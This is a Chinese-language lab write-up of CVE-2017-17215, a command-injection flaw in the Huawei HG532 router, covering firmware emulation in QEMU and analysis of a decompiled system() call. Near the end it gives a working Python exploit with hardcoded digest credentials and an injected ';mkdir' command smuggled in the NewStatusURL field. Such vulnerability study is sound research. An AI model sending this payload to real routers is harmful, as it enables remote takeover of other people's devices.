CVE 2017-17215
2023-10-07 21:20:20 # iot

前言

华为HG532部分定制版本存在远程代码执行漏洞 经过身份验证的攻击者可以向端口 37215 发送恶意数据包以发起攻击 成功利用可能导致远程执行任意代码
固件下载地址: https://archive.org/download/RouterHG532e/router%20HG532e.rar

环境搭建

readelf分析出来是mips32位大端序
qemu启动

1
2
3
4
5
6
7
#/bin/sh

sudo tunctl -t top0 -u root

sudo ifconfig top0 192.168.6.2

sudo qemu-system-mips -M malta -kernel ./mips_kernel/vmlinux-2.6.32-5-4kc-malta -hda ./mips_kernel/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=top0 -nographic

接着配置系统模拟的eth0接口为192.168.6.xx
随后利用scp上传一下提取出来的squashfs-root文件夹
接着需要再开一个终端 ssh连接一下
这里是因为/bin/mic文件的执行过程中会造成eth0接口的静态ip发生变化 所以需要我们利用ssh启动服务 随后在原本的会话中重新配置eth0接口的地址
挂载一下相关服务

1
2
mount -o bind /dev ./squashfs-root/dev  
mount -t proc /proc ./squashfs-root/proc/

开启ssh连接

1
ssh -oHostKeyAlgorithms=+ssh-dss root@192.168.6.3

启动服务

1
2
3
chroot ./squashfs-root/ sh
./bin/upnp
./bin/mic

然后就会卡在这里 返回到qemu启动的那个会话 重新配置一下eth0接口就行了
image.png

漏洞分析

根据官方的漏洞报告 我们可以得知漏洞出现的路径为/ctrlt/DeviceUpgrade_1 并且出现任意命令执行的参数为NewStatusURL和NewDownloadURL

1
From looking into the UPnP description of the device, it can be seen that it supports a service type named `DeviceUpgrade`. This service is supposedly carrying out a firmware upgrade action by sending a request to “/ctrlt/DeviceUpgrade_1” (referred to as controlURL ) and is carried out with two elements  named `NewStatusURL` and `NewDownloadURL`.

利用grep指令可以定位到DeviceUpgrade字符串位于upnp文件中有出现
利用NewDownloadURL定位到目标函数 发现直接通过sprintf传参给了system函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall sub_40749C(int a1)
{
int v2; // $s1
const char *v4; // [sp+20h] [-40Ch] BYREF
const char *v5; // [sp+24h] [-408h] BYREF
char v6[1028]; // [sp+28h] [-404h] BYREF

v2 = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewDownloadURL", 0, &v4);
if ( !v2 )
{
if ( v4 )
{
v2 = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewStatusURL", 0, &v5);
if ( !v2 )
{
if ( v5 )
{
snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);
system(v6);
}
}
}
}
return v2;
}

这里有一个疑惑的点 虽然官方的报告说/ctrlt/DeviceUpgrade_1是负责固件的更新 但是不管是直接访问 还是抓包固件更新的按钮 我都没有得到访问该路径的包
所以只能直接用网上的exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

headers = {

    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"

}



data = '''<?xml version="1.0" ?>

 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">

   <NewStatusURL>;mkdir /bin/hell;</NewStatusURL>

   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>

  </u:Upgrade>

 </s:Body>

</s:Envelope>

'''

requests.post('http://192.168.6.3:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

如果成功执行 那么就会新建一个/bin/hell文件夹
image.png

思路总结

不难看出 漏洞的核心点就在于system函数的参数没有得到限制 如果在实际的漏洞挖掘中
应该遍历涉及到system函数的地方 然后看参数是否可控 可控的话参数是否进行了过滤
如果可以利用 那么就朔源如何访问到这一函数 随后编写exp

Prev
2023-10-07 21:20:20 # iot
Next